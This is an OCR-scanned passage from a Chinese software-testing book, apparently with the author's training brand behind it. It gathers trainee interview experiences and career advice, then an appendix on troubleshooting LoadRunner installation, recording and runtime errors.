其 实 这 个 问题 大 家 在 回答 的 时 候 可 以 想 想 “一 个 水 杯 或 电梯 如 何 进 
行 测试 ?这 样 的 问题 ,我 们 可 以 从 功能 、 非 功能 等 方面 进行 回答 。 而 文中 
的 学 员 就 局 限于 功能 方面 进行 回答 了 。 
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综 上 ,测试 面试 无 非 有 几 大 模块 : 自我 介绍 、 项 目 介 绍 、 数 据 库 、Linux、 
Java 基础 或 算法 .测试 流程 .工具 .软件 测试 方法 等 。 不 管 面试 的 结果 和 过 
程 如 何 , 一 定 要 保持 良好 的 心态 ,面试 过 程 中 难免 受到 各 种 打击 ,但 是 没 关 
系 , 一 是 利于 积累 并 总 结 不 足 ,二 来 面试 有 时 候 也 是 看 缘分 的 ,一 定 要 相信 
自己 能 够 进入 理想 的 公司 。 


14.6 零 经 验 焉 梦 般 的 面试 


请 允许 我 先 做 自我 介绍 ,我 原来 是 非 测 试行 业 的 ,只 是 做 的 工作 和 IT 
沾 一 点 边 , 人 称 " 信 息 员 ”。 因 为 工作 枯燥 和 缺乏 挑战 性 ,所 以 想 试 试 可 不 可 
以 转行 做 点 别 的 。 这 也 就 是 为 什么 标题 里 会 有 * 零 经 验 ” 这 几 个 字 了 。 后 来 
在 网 上 了 解 到 软件 测试 行业 不 错 , 入 门 门槛 低 ,于 是 打算 试 一 试 。 在 网 上 看 
资料 的 时 候 偶 然 看 到 小 强 老 师 的 视频 ,从 二 零 零 几 年 开始 到 现在 一 直 都 有 
更 新 ,至 少 让 人 党 得 是 在 这 个 领域 一 直 耕 耘 的 。 在 和 老师 聊天 的 过 程 中 , 决 
定 让 我 转型 学 习 的 是 老师 的 真诚 ,老师 给 我 分 析 了 转行 的 利 浆 ,并 告诉 我 不 
建议 我 转行 ,因为 风险 较 高 ,而 不 是 一 味 地 忽悠 人 报名 。 现 在 回想 起 来 我 很 
庆幸 当时 决定 跟 小 强 老师 学 习 。 

下 面 就 和 大 家 分 享 下 我 这 个 零 经 验 的 人 面试 的 过 程 吧 。 因 为 不 像 其 他 
朋友 已 经 有 了 好 几 年 的 测试 经 验 了 ,所 以 我 的 面试 是 非常 痛苦 的 ,痛苦 到 没 
法 用 文字 形容 了 (此 处 请 自行 脑 补 ) 。 

(1) 简历 的 准备 。 我 抽 时 间 自 学 了 软件 测试 的 基础 知识 ,在 小 强 老 师 
的 指点 下 自己 也 做 了 几 个 项 目 ,把 完整 的 功能 测试 流程 都 做 了 几 遍 (印象 
中 光 测 试 环境 的 搭建 就 做 了 不 少 于 8 次 ) ,加 上 学 习 了 性 能 测试 ,所 以 简历 
的 准备 没有 耗 太 多 时 间 就 写 出 来 了 。 这 里 回想 了 一 下 ,有 几 点 大 家 要 特别 
注意 。 


格式 要 清晰 明了 ,不 要 那么 花哨 ,毕竟 我 们 是 做 技术 的 。 

内 容 要 简洁 有 力 ,突出 和 其 他 人 不 一 样 的 地 方 。 

项 目 经 验 特别 重要 ,选择 自己 熟悉 且 拿 得 出 手 的 项 目 。 项 目 不 在 于 
数量 而 在 于 质量 。 当 时 小 强 老师 经 常 和 我 们 说 很 多 人 工作 10 年 都 
不 如 工作 2 年 的 人 经 验 丰富 ,就 是 因为 数量 上 去 了 但 质量 却 下 滑 了 。 
每 个 项 目 要 突出 自己 的 特点 ,不 要 千篇一律 。 
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小 强 课 党 


简历 是 我 们 的 “门面 ", 所 以 一 定 要 重视 ,能 不 能 获得 一 次 面试 机 会 
首先 看 的 就 是 简历 。 这 位 学 员 已 基本 把 要 点 说 出 来 了 ,大 家 只 需要 注意 
项 目的 描述 即 可 ,可 以 从 干 了 什么 .发 现 了 什么 问题 或 者 引入 了 什么 新 
技术 等 方面 进行 描述 。 另 外 ,雷同 且 没 有 太 大 意义 的 项 目 就 不 要 写 出 
了 ,否则 反而 减 分 。 


(2) 第 一 次 面试 很 紧张 ,效果 也 非常 差 , 但 好 在 面试 官 非常 非常 Nice, 不 
仅 没有 吕 视 我 反而 耐心 地 告诉 我 不 足 之 处 ,以 及 以 后 应 该 怎么 回答 ,对 于 我 
这 个 零 经 验 的 人 来 说 这 是 最 好 的 礼物 。 这 期 间 我 发 现 自己 一 个 特别 大 的 问 
题 就 是 经 常 脑袋 空白 ,回答 不 出 来 问题 ,但 事后 发 现 这 些 问 题 我 都 会 。 

为 了 尽快 进入 状态 ,我 请 教 了 小 强 老 师 如 何 能 克服 掉 这 个 问题 。 老 师 
的 答案 非常 明确 ,每 天 晚上 睡觉 前 阅读 一 次 自己 的 简历 ,然后 闭 上 眼睛 把 简 
历 内 容 回 顾 一 次 。 我 坚持 了 三 天 ,结果 大 家 可 想 而 知 ,十 分 有 效 呀 。 可 能 有 
朋友 会 说 这 不 就 是 背 简历 吗 , 其实 我 一 开始 也 觉得 是 ,但 后 来 发 现 , 不 是 这 
样子 的 。 这 是 一 种 缓解 紧张 的 方法 ,同时 也 可 以 对 所 学 的 内 容 做 回顾 ,自然 
就 熟 能 生 巧 了 ,感觉 和 "读书 百 遍 ,其 义 自 见 ”有 点 像 。 


小 强 课 党 
有 时 候 看 似 “ 春 ”的 办 法 反而 是 最 “ 巧 " 的 办 法 。 我 们 都 想 学 一 次 就 
会 ,看 一 次 就 记 住 , 那 是 神童 的 本 领 ,凡人 都 需要 积累 总结, 不 厌 其 烦 地 
回顾 才 会 有 效果 。 


(3) 软件 测试 的 基本 知识 ,测试 流程 .测试 用 例 设计 等 问题 基本 是 必 问 
的 。 由 于 我 的 特殊 性 ,我 并 没有 面试 高 级 测试 工程 师 。 当 时 小 强 老师 和 我 
说 ,转行 最 重要 的 是 先 人 行 ,之 后 再 考虑 挣 更 多 的 工资 ,很 多 人 就 是 分 不 清 
哪个 重要 才 导 致 失败 的 。 我 听取 了 老师 的 建议 ,并 没有 像 其 他 同学 那样 要 
上 万 的 工资 。 可 能 阅读 本 书 的 朋友 都 比 我 经 验 丰 富 , 但 我 还 想 说 测试 的 基 
础 非常 重要 ,比如 : 你 的 用 例 设计 非常 厉害 你 就 能 短 时 间 和 掌握 业务 甚至 提前 
提出 可 能 存在 的 问题 ,有 时 候 预 防 问题 要 比 解决 问题 更 有 价值 哦 。 
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小 强 课 堂 
这 位 学 员 最 后 的 观点 我 非常 赞同 。 借 此 我 也 表达 一 个 观点 : 测试 工 
程 的 价值 不 在 于 发 现 问题 ,而 是 通过 对 发 现 问 题 的 总 结 进而 预防 问题 。 
什么 时 候 能 达到 不 测试 就 能 指出 可 能 存在 的 问题 了 ,你 就 修成 正果 了 。 


(4) 性 能 测试 方面 问 的 最 多 的 就 两 类 问题 。 一 个 是 性 能 测试 的 流程 是 
什么 。 另 一 个 是 你 发 现 过 什么 性 能 问题 ,如 何 解 决 的 。 我 被 问 到 的 是 关于 
数据 库 调 优 方面 的 ,我 是 从 以 下 几 个 方面 回答 的 。 

。 数据 库 架 构 。 

。 索引 。 

。 关键 参数 。 

。 SQL 语句 。 

(5) 前 端 页 面 性 能 的 问题 。 在 回答 这 个 问题 的 时 候 我 确实 是 有 点 忘 了 ， 
但 回想 起 小 强 老师 说 即使 不 会 的 问题 也 要 说 说 思路 ,要 让 面试 官 觉得 你 是 
主动 思考 问题 的 人 。 所 以 我 努力 地 说 了 减少 HTTP 请 求 数 .CSS 和 JS 的 位 
置 图 片 等 的 压缩 优化 以 及 无 关 性 域名 cookies 等 。 


小 强 课堂 


这 里 就 不 做 点 评 了 ,关于 前 端 性 能 的 内 容 可 以 阅读 本 书 第 8 章 “ 前 端 
性 能 测试 精 要 ”的 内 容 。 


就 总 结 到 这 里 吧 ,毕竟 当时 面 的 职位 不 高 所 以 也 没 那么 多 问题 。 现 在 
一 转眼 已 经 快 两 年 了 ,我 也 有 了 很 大 的 成 长 ,目前 担任 测试 主管 的 职位 ,这 
也 是 我 没有 想到 的 ,所 以 也 借 此 机 会 向 小 强 老 师表 示 感 谢 ! 


小 强 课 党 


成 长 是 相互 的 ,我 成 就 了 你 ,你 也 成 就 了 我 ,感谢 有 这 样 的 学 员 ! 也 
希望 这 个 积极 、 正 面 的 例子 能 帮 到 更 多 迷茫 的 朋友 们 ,基础 怎么 样 不 重 
要 ,现在 怎么 样 也 不 重要 ,重要 的 是 你 是 否 有 改变 自己 的 决心 并 坚持 ! 
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14.7 痛 并 快乐 的 面试 记录 


面试 是 一 件 让 人 痛 并 快乐 的 事情 ,为 哈 呢 ?因为 面试 可 以 看 到 自己 的 
不 足 , 也 可 以 遇 到 形形色色 的 人 和 事 ,我 觉得 快乐 。 而 痛苦 是 难免 会 被 人 鄂 
视 , 唉 ,我 脆弱 的 心灵 啊 ! 这 里 就 我 所 能 记 住 的 内 容 和 大 家 分 享 一 下 ,希望 
能 给 大 家 带 来 一 些 帮助 。 

(1) 自我 介绍 。 注 意 ,这 里 不 是 中 文 的 自我 介绍 ,而 是 英文 的 。 我 的 天 
呐 ,对 于 大 学 英语 四 级 刚刚 过 线 的 我 ,简直 太 惨 了 。 提 醒 大 家 一 定 要 了 解 好 
自己 去 面试 的 公司 到 底 是 什么 公司 ,如 果 是 类 似 外 企 、 合 资 企 业 就 有 可 能 让 
你 做 英文 的 自我 介绍 哦 。 


小 强 课 和 萱 


英文 的 自我 介绍 基本 都 有 模板 ,大 家 只 需要 提前 准备 好 并 背 下 来 就 
好 了 。 即 使 面试 过 程 中 不 会 说 了 ,面试 官 也 是 会 提醒 你 的 。 


(2) 一 些 计算 机 专业 的 问题 。 比 如 : 冒 泡 算 法 、OSI 七 层 模型 .三 次 握 
手 、Linux、MySQL 等 。 我 相信 大 部 分 朋友 和 我 一 样 ,这 些 知 识 基本 都 还 给 
老师 啦 。 冒 泡 、 二 分 法 似曾相识 。 七 层 模型 三 次 握手 什么 东西 ? Linux 命 
令 很 少 用 ! MySQL 语句 只 会 select x 。 有 没有 戳 中 你 的 小 心灵 ? 所 以 这 
里 善意 地 提醒 大 家 ,这 些 基 本 的 知识 一 定 要 会 ,而 且 像 三 次 握手 、Linux、 
MySQL 基本 是 必 问 的 题目 。 

Linux 中 经 常会 问 到 如 何 查 看 日 志 、 查 看 运行 的 服务 等 。 而 MySQL 中 
则 经 常会 被 问 到 select 语句 和 联合 语句 的 查询 。 而 且 我 发 现 一 个 秘密 : 很 
多 工作 了 四 五 年 的 朋友 都 不 会 写 SQL 语句 啊 。 


小 强 课 党 
这 位 学 员 说 的 问题 确实 真实 存在 ,我 也 和 不 少 测试 经 理 交 流 过 ,着 实 
让 人 头疼 。 建 议 大 家 即使 是 做 功能 测试 也 要 会 看 日 志 ,会 写 SQL。 日 志 能 
帮助 我 们 定位 错误 ,SQL 能 帮助 我 们 校 验 数 据 ,都 有 助 于 提升 自己 。 
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(3) 是 否 做 过 性 能 测试 ?你 们 是 怎么 做 性 能 测试 的 ? 这 个 问题 我 基本 
上 是 按照 老师 的 套路 进行 回答 的 ,嘿嘿 ,就 是 先 说 流程 ,然后 再 结合 实际 项 
目 说 几 个 具体 的 知识 点 ,面试 官 还 是 比较 满意 这 样 的 答案 的 。 大 家 可 以 看 
看 本 书 中 关于 性 能 测试 方面 的 内 容 。 

(4) 你 平时 如 何 和 开发 人 员 沟 通 ,如 果 遇 到 解决 不 了 的 问题 怎么 办 呢 ? 
说 实话 ,我 内 心 的 答案 是 “ 干 一 架 ”, 哈 哈 , 开 玩笑 的 。 当 时 我 回答 用 事实 数 
据 来 说 话 , 如 果 还 是 解决 不 了 就 找 领导 协商 。 


小 强 课 堂 
谦虚 是 沟通 的 基础 ,我 们 抱 着 谦虚 的 态度 去 沟通 就 会 好 很 多 。 上 比 
如 : 有 Bug 时 我 们 可 以 谦虚 一 点 说 “小 黑 有 时 间 过 来 看 下 这 个 问题 ,是 不 
是 我 操作 得 不 对 呀 "”。 这 样 婉 转 的 表达 会 有 较 好 的 效果 。 


(5) 现在 面试 都 会 问 一 些 自动 化 测试 相关 的 问题 ,比如 : 用 没 用 过 
WebDriver ,你们 是 怎么 做 自动 化 测试 的 等 。 所 以 我 们 一 定 要 会 一 门 脚本 语 
言 ,不 管 是 Java 还 是 Python 还 是 其 他 ,也 许 我 们 进入 公司 之 后 发 现 用 不 到 ， 
但 这 些 是 你 敲 开 公 司 大 门 的 敲门砖 啊 。 


小 强 课 党 


测试 开发 化 已 经 是 必然 的 趋势 了 ,不 会 点 代码 真是 寸步 难 行 。 另 外 
这 位 学 员 也 说 了 一 身 实话 ,你 别管 以 后 用 不 用 ,反正 你 要 想 求职 就 必须 
会 ,这 个 现实 我 们 还 是 要 明白 的 。 就 像 很 多 公司 最 低 只 招 本 科 生 一 个 道 
理 ,我 们 都 知道 本 科 生 不 见得 有 多 优秀 ,但 没 办 法 。 推 荐 大 家 阅读 下 文 
章 《 送 给 那些 有 代码 基础 但 仍旧 不 会 学 自动 化 测试 的 朋友 们 》 地 址 : 


http://www. xqtesting. com/ blog/auto-testing-188. html 


(6) 你 有 没有 没 问 题 要 问 我 的 ?面试 官 的 这 个 问题 该 如 何 回答 ,小 强 老 
师 在 “ 挨 踢 (IT) 脱 口 秀 ” 里 专门 讲 过 ,我 也 是 按照 其 回答 的 ,大 家 可 以 听 一 
听 : https://www. lizhi. fm/200893/22840536551955590。 
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14.8 十 年 手工 测试 的 迷茫 ,值得 每 个 人 深思 


虽然 本 文 和 面试 的 关系 不 大 ,但 我 觉得 这 个 问题 肯定 困扰 了 很 多 软件 
测试 从 业 人 员 ,通过 此 文 也 希望 给 迷茫 无 助 的 朋友 带 来 点 启发 。 

本 文 源 于 前 段 时 间 有 个 朋友 在 QQ 上 和 我 的 交流 ,他 干 了 10 年 手工 测 
试 了 , 问 现 在 还 能 不 能 转型 (如 图 14. 1) 。 于 是 就 诞生 了 这 篇 文章 。 以 下 内 
容 纯 属 个 人 观点 ,如 果 对 你 没 帮 助 就 当 看 了 个 笑话 逗 你 一 乐 吧 ! 


国 wasp ,次 人 问题 我 二 10 年 了 ， 个 人 技能 上 不 去 , 对 色 二 也 拓 虎 了 , 想 续 行 ,能 所 建 议 四 
图 14.1 对 话 1 


1. 规划 比 努力 更 重要 


咕 , 不 是 应 该 是 选择 比 努 力 更 重要 吗 ? 怎么 成 规划 了 ? 其 实 很 简单 ,很 
多 事情 天 天 都 发 生 在 我 们 面前 可 我 们 从 没 在 意 过 。 比 如 : 身 在 北京 的 我 们 ， 
对 交通 的 爱 与 恨 已 经 无 法 表达 (你 们 懂得 ), 那 为 啥 北京 交通 这 么 差 呢 ? 只 
是 因为 车 多 吗 ? 必然 不 是 ,我 认为 很 重要 的 原因 之 一 就 是 早先 北京 没有 规 
划 好 啊 ， 当 时 没 想 到 会 来 这 么 多 人 .这么 多 车 ,所 以 提前 规划 好 一 个 东西 才 
是 根本 ! 职业 发 展 同 理 。 而 这 位 朋友 也 意识 到 
了 这 个 问题 (如 图 14. 2)。 | 一 

为 什么 大 家 都 喜欢 连续 剧 ( 琅 榜 ) 的 梅 长 国语 
苏 (我 本 人 看 过 不 下 三 遍 ), 因 为 他 牛 啊 ! 但 是 他 全 由 ARE 全 
牛 在 哪里 ,我 们 有 想 过 吗 ? 只 是 因为 他 有 一 个 江 。 几 1 对 话 2 
左 盟 ? 当然 不 是 ! 他 的 未 雨 绸 缪 才 是 牛 的 地 方 ， 
说 得 直 白 点 就 是 规划 和 推理 啊 ! 

之 前 有 篇 文章 (我 忘 了 标题 是 什么 了 ) ,大 概 的 意思 就 是 说 你 所 谓 的 努 
力 其 实 根本 不 是 努力 ,我 觉得 写 得 很 实在 ! 努力 这 个 东西 你 得 用 对 地 方 ,不 
是 说 学 习 到 凌晨 3 点 就 是 努力 ! 这 个 是 伪 概 念 ! 其 实 非常 容易 理解 , 排 兵 布 
阵 打仗 ,你 连 布 阵 都 没 搞 好 ,你 努力 打仗 有 个 喻 用 ? 所 以 ,规划 比 努力 更 重 
要 ,还 在 迷茫 和 纠结 的 人 真 该 好 好 想 想 了 1! 
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2. 改变 ,永远 不 嫌 晚 


这 名 话 是 我 经 常 说 的 ,但 大 家 对 它 有 一 些 误解 。 改 变 确实 随时 都 可 以 ， 
但 有 一 点 我 们 所 有 人 都 忽略 了 , 那 就 是 风险 因素 ! 越 晚 改变 风险 越 大 ,你 能 
承受 多 大 的 风险 ? 这 些 我 们 都 考虑 过 吗 ? 理解 起 来 也 很 简单 ,我 们 天 天 做 
测试 ,都 明白 一 个 道理 ,Bug 发 现 得 越 晚 改 动 成 本 越 大 ,风险 也 越 大 。 同 理 ， 
转型 和 提升 越 晚 风险 也 越 大 ! 为 什么 很 多 显而易见 的 道理 我 们 都 不 懂 呢 ? 


3. 为 何 我 们 难以 改变 


“想法 太 多 ,顾虑 太 多 ,让 自己 无 法 前 进 。 仔 细 想 想 ,是 自己 困 住 了 自 
己 , 是 自己 给 自己 戴 上 了 柳 锁 ! 改变 ,永远 不 嫌 晚 。 无 论 你 是 几 岁 ,也 无 论 
你 目前 所 处 的 境况 有 多 糟 , 只 要 立定 目标 .一 步 一 步 往 前 走 , 人 生 随 时 都 有 
翻盘 的 可 能 性 。 新 的 一 天 ,你 要 加 油性 一 一 这 段 话 不 知道 大 家 熟悉 不 熟悉 ， 
是 我 们 小 强 测试 品牌 的 座右铭 。 

有 时 候 我 们 怀疑 自己 的 能 力 、 基 础 ,时间 ,但 其 实 都 是 在 为 不 想 改变 找 
借口 罢了 ! 为 什么 越 来 越 多 的 人 有 了 选择 困难 症 ? 经 常 听 到 的 答案 是 因为 
现在 给 出 的 选项 太 多 了 ,以 至 于 不 知道 选 喻 了 。 这 个 观点 不 全 面 ,但 也 是 因 
素 之 一 5 

还 有 一 个 因素 , 那 就 是 改变 是 需要 付出 的 ,而 这 个 付出 是 我 们 最 不 愿意 
的 。 这 个 理解 起 来 也 简单 ,我 们 都 羡 雍 娱乐 明星 、 体 育 明 星 有 钱 ,随便 一 个 
包 包 的 价格 赶 上 咱们 的 年 薪 了 ,但 你 看 到 了 他 们 背后 的 付出 吗 ?“ 台 上 一 分 
钟 , 台 下 十 年 功 ” 用 在 这 里 最 合适 了 。 孙 杨 、 张 继 科 大 家 都 熟悉 ,看 过 他 们 的 
练习 视频 吗 ? 那 强度 和 毅力 是 值得 我 们 学 习 的 。 

总 归 就 是 想 太 多 了 。 但 有 时 候 我 也 很 了 解 大 家 的 想法 ,尤其 是 80 后 这 
一 代 , 正 处 于 事业 、 家 庭 .孩子 多 重 压力 下 的 焦灼 状态 ,确实 苦 啊 。 可 又 不 得 
不 说 ,如 果 你 早 一 步 规划 好 了 ,也许 就 会 轻松 很 多 。 


4. 学 会 平衡 


万 事 缘 有 阴阳 ,学 会 阴阳 融合 才 会 平衡 。 本 节 内 容 的 目的 不 是 叫 大 家 
拼命 去 做 什么 ,也 不 是 教唆 大 家 干什么 ,只 是 单纯 地 讲 一 个 事情 ,表达 几 个 
观点 而 已 。 规 划 ,学 习 \ 改 变 要 趁早 ,但 更 要 执行 落地 ,那么 当 你 坚持 一 段 时 
间 后 你 会 发 现 自己 不 一 样 了 ,这 个 就 和 修炼 "内功 ”一 个 道理 。 但 不 管 如 何 ， 
身体 还 是 最 重要 的 ,所 以 学 会 平衡 方 可 成 大 器 。 
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14.9 本章 小 结 


本 章 精 选 了 几 位 在 小 强 软 件 测试 品牌 参加 培训 学 员 的 真实 经 历 , 以 最 
淳朴 的 语言 自述 了 自己 的 学 习 和 成 长 历程 。 他 们 的 付出 也 许 只 有 我 懂 , 庞 
大 的 知识 体系 、 高 强度 的 作业 、 严 格 的 要 求 ,甚至 还 有 一 些小 惩罚 ,其 中 的 快 
乐 ,痛苦 .惊喜 大 概 也 只 有 自己 能 够 明白 。 

大 部 分 的 朋友 和 我 一 样 是 一 个 北 漂 , 当然 还 有 南 漂 的 朋友 ,他 们 用 积 搁 
下 来 的 钱 来 学 习 也 不 容易 ,要 承担 很 大 的 压力 。 自 2016 年 以 来 我 以 小 强 软 
件 测试 独立 品牌 进行 运营 ,不 再 和 任何 机 构 有 关系 ,就 是 为 了 能 更 踏实 、 更 
真诚 地 做 些 事情 ,不 断 优化 课程 调整 教学 方案 ,始终 希望 能 以 最 高 的 性 价 比 
让 所 有 想 学 习 的 人 都 可 以 学 习 。 事 实证 明 , 我 的 付出 得 到 了 回报 ,也 得 到 了 
更 多 学 员 的 支持 。 再 次 感谢 你 们 ,有 你 们 真 好 ! 

有 时 候 我 们 总 是 鲜 莫 别人 、 嫉 妒 别人 ,他 为 什么 拿 那么 高 的 薪水 ”是 不 
是 骗 人 的 ? 我 想 说 , 当 你 在 虚度 光阴 的 时 候 , 别 人 正在 努力 学 习 , 你 看 到 的 
只 是 别人 光鲜 的 外 表 , 但 背后 付出 的 汗水 又 有 几 个 人 能 看 到 ! 俗话 说 “ 台 上 
一 分 钟 , 台 下 一 年 功 ”, 我 不 能 保证 付出 一 定 有 收获 ,但 可 以 保证 不 付出 一 定 
不 会 有 收获 。 其 实 我 们 都 可 以 成 为 自己 心目 中 的 成 功 者 ,只 要 你 肯 努 力 。 
让 我 们 一 起 加 油 吧 ! 
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附录 B LoadRunner 常见 问题 
解决 方案 汇总 


B.1 LoadRunner 和 各 OS 以 及 浏览 器 的 可 兼容 性 


小 白 朋友 第 一 次 接触 LoadRunner 的 时 候 都 会 遇 到 和 浏览 器 兼容 的 问 
题 , 我 只 能 说 都 怪 微软 ,没事 弄 这 么 多 OS 和 浏览 器 出 来 ,为 喻 不 好 好 做 一 雪 
超级 好 用 的 呢 ? 
这 里 我 把 自己 亲自 试 过 的 LoadRunner 和 各 OS 以 及 浏览 器 的 可 兼容 
性 列 出 来 ,希望 对 大 家 有 所 帮助 ! 
可 兼容 性 如 下 : 
。 LoadRunner 8.0 只 支持 IE 6; 
。 LoadRunner 8. 1 只 支持 IE 6; 
。 LoadRunner 9.0 支持 IE 6、IE7; 
。 LoadRunner 9.5 支持 IE 6\IE 7\IE 8; 
。 LoadRunner 11. 0 相对 来 说 较为 复杂 。 不 论 是 Windows 7 32 位 还 
是 64 位 ,火狐 3.6 和 24.0 版 本 都 可 以 使 用 ; 如 果 是 Windows 7 
32 位 ,可 以 使 用 IE 10; 如 果 是 Windows 7 64 位 ,可 以 使 用 IE 9 
(IE 8 不 推荐 ,不 稳定 ) 。 
这 里 我 想 再 强调 一 下 ,性 能 测试 脚本 和 用 什么 浏览 器 没有 任何 关系 ,不 
需要 纠结 ,如 果 什 么 浏览 器 都 没 法 用 ,你 依然 可 以 通过 抓 包 来 手写 所 有 的 请 
求 ,浏览 器 只 是 一 个 录制 的 介质 而 已 。 


B.2 LoadRunner 无 法 安装 
这 里 推荐 使 用 LoadRunner 11 的 版 本 。 如 果 出 现 无 法 安装 的 情况 一 般 


有 三 种 可 能 。 
(1) 目前 LoadRunner 只 能 较 好 地 兼容 Windows XP、Windows 7 32 位 


大 话 软 件 测试 一 一 性 能 、 自 动 化 及 


和 64 位 的 旗舰 版 ,对 Windows 的 家 庭 版 不 支持 ,对 Windows 8 是 否 支 持 暂 
时 不 确定 (有 的 朋友 可 以 安装 成 功 , 有 的 则 不 行 ), 对 Windows 10 不 支持 。 
所 以 请 确保 是 安装 在 上 述 对 应 的 操作 系统 中 。 

(2) 可 能 缺少 Microsoft . NET Framework ,到 微软 官网 下 载 安装 后 再 
重新 安装 LoadRunner。 

(3) 可 能 是 电脑 上 安装 了 第 三 方 的 管理 软件 阻止 了 LoadRunner 的 安 
装 或 阻止 了 修改 注册 表 。 关 闭 类 似 这 样 的 第 三 方 管理 软件 (如 360、 腾 讯 管 
家 等 ) 再 重新 安装 LoadRunner 即 可 。 


B.3 录制 时 无 法 启动 IE 


可 以 尝试 如 下 几 种 方法 。 

(1) 设置 下 浏览 器 为 默认 浏览 器 , 且 在 高 级 中 色 选 “启用 第 三 方 浏览 器 
扩展 ”。 

(2) 如 果 以 上 方法 不 可 行 , 可 以 在 LoadRunner 录制 时 指定 浏览 器 的 绝 
对 路 径 。 

(3) 如 果 (1)、(2) 方 法 都 不 行 , 就 尝试 不 勾 选 “ 启 用 第 三 方 浏览 器 扩展 ”。 

(4) 如 果 (1)、 (2)、(3) 方 法 都 不 行 , 那 么 请 升级 浏览 器 到 IE 9, 经 测试 比 
较 稳 定 。 如 果 你 使 用 的 是 Windows XP 系统 ,那么 建议 使 用 IE 6。 

(5) 如 果 上 述 方法 都 不 行 ,好 吧 ,请 重 装 一 个 干净 的 系统 ,不 要 安装 任何 
其 他 软件 ,然后 安装 LoadRunner。 如 果 这 个 还 不 行 , 那 我 也 没 办 法 了 。 


B.4 录制 脚本 为 空 


尝试 此 方法 进行 解决 : 启动 LoadRunner 的 VuGen ,进入 Recording 
Options 进行 如 图 B. 1 的 设置 即 可 解决 。 


B.5 示例 网 站 WebTours 无 法 启动 


尝试 此 方法 进行 解决 : 进入 LoadRunner 安装 包 中 的 lrunner\Common\ 
Strawberry_perl_510 目录 下 重新 安装 strawberry-perl-5. 10. 1. 0. msi, 之 后 
再 尝试 是 否 可 以 启动 。 


Capture levet 
Network-level 


Corelation 


NewEnty | _ EdtEnty | Delete Enty Dptions.. 
Description 
Soaresover eriy lo enobie/doable or wpdalo 
Use Defauls Cancel Help 
图 B.1 设置 


B.6 ”Controller 中 运行 场景 有 很 多 超时 错误 


进入 Run-time Setting 对 话 框 后 ,依次 选择 Internet Protocol 习 
Preference。 然 后 单 击 Options 按钮 ,进入 高 级 设置 对 话 框 ,可 以 修改 各 类 超 
时 设置 的 默认 值 。 一 般 我 们 只 修改 Step download timeout HTTP-request 
connect timeout HTTP-request receive timeout 这 三 个 值 ,适当 调 大 即 可 。 


B.7 录制 完成 有 乱码 


分 别 尝试 如 下 的 三 种 解决 方法 。 
(1) Recording Options 选项 里 勾 选 utf8 。 
(2) Run-time Settings> Preferences> Options> convert from 中 勾 选 


to utf8 。 
(3) 使 用 lr_convert_string_encoding ("中 文字 符 ", NULL,"utf-8"， 


性 能 、 自 动 化 及 团队 管理 


2 大 话 软件 测试 


"param") 函 数 , 具 体 可 见 LoadRunner 的 帮助 函数 文档 。 
B.8 LoadRunner 中 对 HTTPS 证 书 的 配置 


用 浏览 器 访问 HTTPS 网 站 然后 导出 证 书 , 或 者 直接 问 开发 人 员 要 这 个 
证 书 ,一 般 都 是 cer 格式 。 

利用 openssl 工具 进行 证 书 的 转换 ,得 到 pem 格式 的 证 书 。 

在 LoadRunner 的 Recording Options 对 话 框 中 选择 Port Mapping, 然 
后 单 击 New Entry, 在 弹出 的 Server Entry 对 话 框 中 填 入 必要 的 信息 ,主要 
就 是 图 B. 2 方 框 中 的 字段 。 


一 Socket Servic 


aasener put 
党 ServicelD : |(Auto Detect] v Service Type : [re ed 


Record Type: |Proxy vl Connection Type: |SSL ba 


SSL Version; [sst 2/3 了 | 
SSL Ciphers : [Gefswkopensal Ciphers] 下 
PEM 


图 B.2 证 书 的 配置 


配置 完毕 后 即 可 重新 录制 脚本 ,正常 情况 下 会 在 脚本 中 出 现 web_set_ 
certificate_ex 的 函数 信息 。 


B.9 LoadRunner 运行 时 常见 报错 解决 方案 


(1) Failed to connect to server“192. 168. 2. 192”。 

可 能 原因 : 小 量 用 户 时 出 现 , 可 能 是 程序 上 的 问题 。 大 量 用 户 时 出 现 ， 
可 能 是 系统 支撑 不 了 这 么 多 并 发 了 。 

(2) Connection Error: timed out。 


可 能 原因 : 应 用 服务 参数 设置 问题 。 例 如 ,许多 客户 端 连接 Weblogic 


上 @ 附录 B ”LoadRunner 常 见 问题 解决 方案 汇总 @29)- 


应 用 服务 器 被 拒绝 ,而 在 服务 器 端 没 有 错误 显示 , 则 有 可 能 是 Weblogic 中 的 
server 元 素 的 AcceptBacklog 属性 值 设 得 过 低 。 

(3) Server has shut down the connection prematurely。 

可 能 原因 : 应 用 服务 器 参数 或 数据 库 连 接 数 设 置 不 合理 造成 。 

(4) Error-27979: Requested form not found 或 web _submit _form 
highest severity level was "ERROR" ,0 body bytes, 0 header bytes。 

可 能 原因 : 

。 所 选择 的 录制 脚本 模式 不 正确 。 尝 试 进行 如 下 设置 后 再 运行 ,打开 
录制 选项 配置 对 话 框 进行 设置 ,在 Recording Options 的 Internet 
Protocol 选项 里 的 Recording 中 选择 Recording Level 为 HTMI- 
based script, 单 击 HTML Advanced, 选 择 Script Type 为 A script 
containing explicit。 然 后 再 选择 使 用 URL-based script 模式 来 录制 
脚本 。 

。 没有 关联 或 关联 边界 不 正确 导致 。 

(5) 使 用 odbc 时 报错 can't get hostname for your address。 

这 个 是 在 小 强 性 能 测试 班 练习 时 出 现 的 问题 ,此 问题 是 检测 hostname 
时 出 现 的 问题 ,解决 方法 为 修改 MySQL 的 配置 文件 my. cnf, 然 后 在 
[mysqldj 下 面 增加 一 行 : skip-name-resolve, 之 后 保存 退出 ,再 重启 MySQL 
服务 即 可 。 

(6) LoadRunner 压 测 过 程 中 出 现 的 error26601。 

这 个 是 在 小 强 性 能 测试 班 中 压 测 项 目 时 无 意 中 发 现 的 问题 。 大 致 错误 
提示 如 下 : 

Action. c(240 ) : Error — 26601: Decompression function (wgzMemDecompressBuffer) 

failed, return code = - 3 (Z_DATA_ ERROR), inSize = 17, inUse = 0, outUse = 0 

[MsgId: MERR - 26601] 

查阅 资料 发 现 , 这 个 和 缓冲 区 容量 有 关 , 大 臻 是 因为 发 包 太 快 ,服务 器 
没 来 得 及 响应 ,lr 在 下 载 数据 包 时 一 次 没有 下 载 完 成 ,然后 进行 压 包 的 时 候 
报错 了 。 

解决 方法 : 脚本 中 增加 lr_auto_head("Accept-Encode","gzip"); 和 在 
setting-~perference 里 设置 ,增加 network buffer size 的 值 。 
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C.1 场景 用 例 模 板 


经 常 被 问 到 性 能 测试 用 例 怎 么 写 的 问题 ,其 实 有 个 前 提 大 家 别 忘 了 , 那 
